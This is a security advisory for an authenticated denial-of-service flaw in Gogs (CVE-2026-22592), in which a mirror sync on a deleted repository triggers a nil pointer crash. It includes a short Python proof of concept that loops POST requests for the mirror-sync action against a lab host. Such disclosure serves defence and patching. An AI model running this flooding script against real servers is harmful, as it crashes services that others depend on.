PT-2026-6856 · Go · Gogs.Io/Gogs

Published 2026-02-06 · Updated 2026-02-06

OSV

CVSS v3.1

6.5

Medium

Base vector

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
  "Cookie": "lang=en-US; i like gogs=fe32281ab84ae868; csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
  " csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
  "action": "mirror-sync",
}

while True:
  print("syncing")
  response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Fix

Missing Authorization

Weakness Enumeration

CWE-862

Related Identifiers

GHSA-CR88-6MQM-4G57

Affected Products

Gogs.Io/Gogs

References · 7

• https://osv.dev/vulnerability/GHSA-cr88-6mqm-4g57 · Vendor Advisory
• https://nvd.nist.gov/vuln/detail/CVE-2026-22592 · Security Note
• https://github.com/gogs/gogs · Note
• https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 · Note
• https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 · Note
• https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272 · Note
• https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57 · Note